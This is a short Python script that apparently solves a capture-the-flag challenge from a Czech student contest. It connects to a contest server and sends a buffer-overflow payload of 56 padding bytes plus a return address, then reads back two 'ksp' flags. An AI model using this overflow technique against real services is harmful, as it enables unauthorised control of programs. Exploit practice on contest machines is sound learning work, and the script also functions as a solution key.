#!/usr/bin/python3 import socket import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) flagnum = int(input()) s.connect(("vm.kam.mff.cuni.cz", 13337)) s.recv(len("Zadejte heslo: ")) s.sendall(b"a" * 56 + 0x0000000000401215.to_bytes(8, 'little') + b"\n") flag1 = b"" c = b"" while c != b"}": c = s.recv(1) flag1+=c s.recv(1) # Newline flag2 = b"" c = b"" while c != b"}": c = s.recv(1) flag2+=c if not b"ksp" in flag1 or not b"ksp" in flag2: print("Exploit failed", file=sys.stderr) exit(1) if flagnum == 1: print(flag1.decode("ascii").strip()) else: print(flag2.decode("ascii").strip())